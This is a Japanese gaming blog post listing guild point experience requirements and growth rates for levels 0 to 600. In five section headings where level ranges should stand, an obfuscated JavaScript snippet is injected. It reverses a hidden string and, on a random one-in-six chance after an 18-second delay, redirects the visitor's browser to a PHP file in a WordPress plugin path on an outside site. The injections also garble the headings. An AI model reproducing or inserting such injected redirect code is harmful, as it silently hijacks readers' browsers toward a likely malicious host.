以前、【最初は】ギルドPoint 経験値テーブル(外部情報)【楽ちん♪】 で触れましたが…
現在の日本鯖仕様に合わせて整理しましたよ?
だいたい・・・合ってる
(598→600 まで一気に表示されるので、注意ね?)
0 $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 118
GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | ||
---|---|---|---|---|---|---|---|---|---|---|
0→ 2 | 700 | – | 40→42 | 15,210 | 4.93% | 80→ 82 | 34,050 | 2.48% | ||
2→ 4 | 1,250 | 78.57% | 42→44 | 17,150 | 12.75% | 82→ 84 | 41,850 | 22.91% | ||
4→ 6 | 1,800 | 44.00% | 44→46 | 17,920 | 4.49% | 84→ 86 | 42,840 | 2.37% | ||
6→ 8 | 2,350 | 30.56% | 46→48 | 18,690 | 4.30% | 86→ 88 | 43,830 | 2.31% | ||
8→10 | 2,900 | 23.40% | 48→50 | 19,460 | 4.12% | 88→ 90 | 44,820 | 2.26% | ||
10→12 | 3,450 | 18.97% | 50→52 | 20,230 | 3.96% | 90→ 92 | 45,810 | 2.21% | ||
12→14 | 4,000 | 15.94% | 52→54 | 21,000 | 3.81% | 92→ 94 | 46,800 | 2.16% | ||
14→16 | 4,550 | 13.75% | 54→56 | 21,770 | 3.67% | 94→ 96 | 47,790 | 2.12% | ||
16→18 | 5,100 | 12.09% | 56→58 | 22,540 | 3.54% | 96→ 98 | 48,780 | 2.07% | ||
18→20 | 5,650 | 10.78% | 58→60 | 23,310 | 3.42% | 98→100 | 49,770 | 2.03% | ||
20→22 | 6,200 | 9.73% | 60→62 | 24,080 | 3.30% | 100→102 | 62,040 | 24.65% | ||
22→24 | 6,750 | 8.87% | 62→64 | 26,625 | 10.57% | 102→104 | 63,250 | 1.95% | ||
24→26 | 7,300 | 8.15% | 64→66 | 27,450 | 3.10% | 104→106 | 64,460 | 1.91% | ||
26→28 | 7,850 | 7.53% | 66→68 | 28,275 | 3.01% | 106→108 | 65,670 | 1.88% | ||
28→30 | 8,400 | 7.01% | 68→70 | 29,100 | 2.92% | 108→110 | 66,880 | 1.84% | ||
30→32 | 11,635 | 38.51% | 70→72 | 29,925 | 2.84% | 110→112 | 68,090 | 1.81% | ||
32→34 | 12,350 | 6.15% | 72→74 | 30,750 | 2.76% | 112→114 | 69,300 | 1.78% | ||
34→36 | 13,065 | 5.79% | 74→76 | 31,575 | 2.68% | 114→116 | 70,510 | 1.75% | ||
36→38 | 13,780 | 5.47% | 76→78 | 32,400 | 2.61% | 116→118 | 71,720 | 1.72% | ||
38→40 | 14,495 | 5.19% | 78→80 | 33,225 | 2.55% | 118→120 | 72,930 | 1.69% |
120 $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 238
GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | ||
---|---|---|---|---|---|---|---|---|---|---|
120→122 | 74,140 | 1.66% | 160→162 | 134,100 | 1.25% | 200→202 | 167,100 | 1.00% | ||
122→124 | 75,350 | 1.63% | 162→164 | 135,750 | 1.23% | 202→204 | 168,750 | 0.99% | ||
124→126 | 76,560 | 1.61% | 164→166 | 137,400 | 1.22% | 204→206 | 170,400 | 0.98% | ||
126→128 | 77,770 | 1.58% | 166→168 | 139,050 | 1.20% | 206→208 | 172,050 | 0.97% | ||
128→130 | 78,980 | 1.56% | 168→170 | 140,700 | 1.19% | 208→210 | 173,700 | 0.96% | ||
130→132 | 80,190 | 1.53% | 170→172 | 142,350 | 1.17% | 210→212 | 175,350 | 0.95% | ||
132→134 | 81,400 | 1.51% | 172→174 | 144,000 | 1.16% | 212→214 | 177,000 | 0.94% | ||
134→136 | 82,610 | 1.49% | 174→176 | 145,650 | 1.15% | 214→216 | 178,650 | 0.93% | ||
136→138 | 83,820 | 1.46% | 176→178 | 147,300 | 1.13% | 216→218 | 180,300 | 0.92% | ||
138→140 | 85,030 | 1.44% | 178→180 | 148,950 | 1.12% | 218→220 | 181,950 | 0.92% | ||
140→142 | 86,240 | 1.42% | 180→182 | 150,600 | 1.11% | 220→222 | 183,600 | 0.91% | ||
142→144 | 119,250 | 38.28% | 182→184 | 152,250 | 1.10% | 222→224 | 185,250 | 0.90% | ||
144→146 | 120,900 | 1.38% | 184→186 | 153,900 | 1.08% | 224→226 | 186,900 | 0.89% | ||
146→148 | 122,550 | 1.36% | 186→188 | 155,550 | 1.07% | 226→228 | 188,550 | 0.88% | ||
148→150 | 124,200 | 1.35% | 188→190 | 157,200 | 1.06% | 228→230 | 190,200 | 0.88% | ||
150→152 | 125,850 | 1.33% | 190→192 | 158,850 | 1.05% | 230→232 | 191,850 | 0.87% | ||
152→154 | 127,500 | 1.31% | 192→194 | 160,500 | 1.04% | 232→234 | 193,500 | 0.86% | ||
154→156 | 129,150 | 1.29% | 194→196 | 162,150 | 1.03% | 234→236 | 195,150 | 0.85% | ||
156→158 | 130,800 | 1.28% | 196→198 | 163,800 | 1.02% | 236→238 | 196,800 | 0.85% | ||
158→160 | 132,450 | 1.26% | 198→200 | 165,450 | 1.01% | 238→240 | 198,450 | 0.84% |
240 $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 358
GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | ||
---|---|---|---|---|---|---|---|---|---|---|
240→242 | 200,100 | 0.83% | 280→282 | 233,100 | 0.71% | 320→322 | 266,100 | 0.62% | ||
242→244 | 201,750 | 0.82% | 282→284 | 234,750 | 0.71% | 322→324 | 267,750 | 0.62% | ||
244→246 | 203,400 | 0.82% | 284→286 | 236,400 | 0.70% | 324→326 | 269,400 | 0.62% | ||
246→248 | 205,050 | 0.81% | 286→288 | 238,050 | 0.70% | 326→328 | 271,050 | 0.61% | ||
248→250 | 206,700 | 0.80% | 288→290 | 239,700 | 0.69% | 328→330 | 272,700 | 0.61% | ||
250→252 | 208,350 | 0.80% | 290→292 | 241,350 | 0.69% | 330→332 | 274,350 | 0.61% | ||
252→254 | 210,000 | 0.79% | 292→294 | 243,000 | 0.68% | 332→334 | 276,000 | 0.60% | ||
254→256 | 211,650 | 0.79% | 294→296 | 244,650 | 0.68% | 334→336 | 277,650 | 0.60% | ||
256→258 | 213,300 | 0.78% | 296→298 | 246,300 | 0.67% | 336→338 | 279,300 | 0.59% | ||
258→260 | 214,950 | 0.77% | 298→300 | 247,950 | 0.67% | 338→340 | 280,950 | 0.59% | ||
260→262 | 216,600 | 0.77% | 300→302 | 249,600 | 0.67% | 340→342 | 282,600 | 0.59% | ||
262→264 | 218,250 | 0.76% | 302→304 | 251,250 | 0.66% | 342→344 | 284,250 | 0.58% | ||
264→266 | 219,900 | 0.76% | 304→306 | 252,900 | 0.66% | 344→346 | 285,900 | 0.58% | ||
266→268 | 221,550 | 0.75% | 306→308 | 254,550 | 0.65% | 346→348 | 287,550 | 0.58% | ||
268→270 | 223,200 | 0.74% | 308→310 | 256,200 | 0.65% | 348→350 | 289,200 | 0.57% | ||
270→272 | 224,850 | 0.74% | 310→312 | 257,850 | 0.64% | 350→352 | 290,850 | 0.57% | ||
272→274 | 226,500 | 0.73% | 312→314 | 259,500 | 0.64% | 352→354 | 292,500 | 0.57% | ||
274→276 | 228,150 | 0.73% | 314→316 | 261,150 | 0.64% | 354→356 | 294,150 | 0.56% | ||
276→278 | 229,800 | 0.72% | 316→318 | 262,800 | 0.63% | 356→358 | 295,800 | 0.56% | ||
278→280 | 231,450 | 0.72% | 318→320 | 264,450 | 0.63% | 358→360 | 297,450 | 0.56% |
360 $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 478
GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | ||
---|---|---|---|---|---|---|---|---|---|---|
360→362 | 299,100 | 0.55% | 400→402 | 332,100 | 0.50% | 440→442 | 365,100 | 0.45% | ||
362→364 | 300,750 | 0.55% | 402→404 | 333,750 | 0.50% | 442→444 | 366,750 | 0.45% | ||
364→366 | 302,400 | 0.55% | 404→406 | 335,400 | 0.49% | 444→446 | 368,400 | 0.45% | ||
366→368 | 304,050 | 0.55% | 406→408 | 337,050 | 0.49% | 446→448 | 370,050 | 0.45% | ||
368→370 | 305,700 | 0.54% | 408→410 | 338,700 | 0.49% | 448→450 | 371,700 | 0.45% | ||
370→372 | 307,350 | 0.54% | 410→412 | 340,350 | 0.49% | 450→452 | 373,350 | 0.44% | ||
372→374 | 309,000 | 0.54% | 412→414 | 342,000 | 0.48% | 452→454 | 375,000 | 0.44% | ||
374→376 | 310,650 | 0.53% | 414→416 | 343,650 | 0.48% | 454→456 | 376,650 | 0.44% | ||
376→378 | 312,300 | 0.53% | 416→418 | 345,300 | 0.48% | 456→458 | 378,300 | 0.44% | ||
378→380 | 313,950 | 0.53% | 418→420 | 346,950 | 0.48% | 458→460 | 379,950 | 0.44% | ||
380→382 | 315,600 | 0.53% | 420→422 | 348,600 | 0.48% | 460→462 | 381,600 | 0.43% | ||
382→384 | 317,250 | 0.52% | 422→424 | 350,250 | 0.47% | 462→464 | 383,250 | 0.43% | ||
384→386 | 318,900 | 0.52% | 424→426 | 351,900 | 0.47% | 464→466 | 384,900 | 0.43% | ||
386→388 | 320,550 | 0.52% | 426→428 | 353,550 | 0.47% | 466→468 | 386,550 | 0.43% | ||
388→390 | 322,200 | 0.51% | 428→430 | 355,200 | 0.47% | 468→470 | 388,200 | 0.43% | ||
390→392 | 323,850 | 0.51% | 430→432 | 356,850 | 0.46% | 470→472 | 389,850 | 0.43% | ||
392→394 | 325,500 | 0.51% | 432→434 | 358,500 | 0.46% | 472→474 | 391,500 | 0.42% | ||
394→396 | 327,150 | 0.51% | 434→436 | 360,150 | 0.46% | 474→476 | 393,150 | 0.42% | ||
396→398 | 328,800 | 0.50% | 436→438 | 361,800 | 0.46% | 476→478 | 394,800 | 0.42% | ||
398→400 | 330,450 | 0.50% | 438→440 | 363,450 | 0.46% | 478→480 | 396,450 | 0.42% |
480 $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 598
GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | GP | 経験値 | 増加率 | ||
---|---|---|---|---|---|---|---|---|---|---|
480→482 | 398,100 | 0.42% | 520→522 | 431,100 | 0.38% | 560→562 | 464,100 | 0.36% | ||
482→484 | 399,750 | 0.41% | 522→524 | 432,750 | 0.38% | 562→564 | 465,750 | 0.36% | ||
484→486 | 401,400 | 0.41% | 524→526 | 434,400 | 0.38% | 564→566 | 467,400 | 0.35% | ||
486→488 | 403,050 | 0.41% | 526→528 | 436,050 | 0.38% | 566→568 | 469,050 | 0.35% | ||
488→490 | 404,700 | 0.41% | 528→530 | 437,700 | 0.38% | 568→570 | 470,700 | 0.35% | ||
490→492 | 406,350 | 0.41% | 530→532 | 439,350 | 0.38% | 570→572 | 472,350 | 0.35% | ||
492→494 | 408,000 | 0.41% | 532→534 | 441,000 | 0.38% | 572→574 | 474,000 | 0.35% | ||
494→496 | 409,650 | 0.40% | 534→536 | 442,650 | 0.37% | 574→576 | 475,650 | 0.35% | ||
496→498 | 411,300 | 0.40% | 536→538 | 444,300 | 0.37% | 576→578 | 477,300 | 0.35% | ||
498→500 | 412,950 | 0.40% | 538→540 | 445,950 | 0.37% | 578→580 | 478,950 | 0.35% | ||
500→502 | 414,600 | 0.40% | 540→542 | 447,600 | 0.37% | 580→582 | 480,600 | 0.34% | ||
502→504 | 416,250 | 0.40% | 542→544 | 449,250 | 0.37% | 582→584 | 482,250 | 0.34% | ||
504→506 | 417,900 | 0.40% | 544→546 | 450,900 | 0.37% | 584→586 | 483,900 | 0.34% | ||
506→508 | 419,550 | 0.39% | 546→548 | 452,550 | 0.37% | 586→588 | 485,550 | 0.34% | ||
508→510 | 421,200 | 0.39% | 548→550 | 454,200 | 0.36% | 588→590 | 487,200 | 0.34% | ||
510→512 | 422,850 | 0.39% | 550→552 | 455,850 | 0.36% | 590→592 | 488,850 | 0.34% | ||
512→514 | 424,500 | 0.39% | 552→554 | 457,500 | 0.36% | 592→594 | 490,500 | 0.34% | ||
514→516 | 426,150 | 0.39% | 554→556 | 459,150 | 0.36% | 594→596 | 492,150 | 0.34% | ||
516→518 | 427,800 | 0.39% | 556→558 | 460,800 | 0.36% | 596→598 | 493,800 | 0.34% | ||
518→520 | 429,450 | 0.39% | 558→560 | 462,450 | 0.36% | 598→600 | 495,450 | 0.33% |
続きはあとで追加します!(えっ?いらない?)
コメント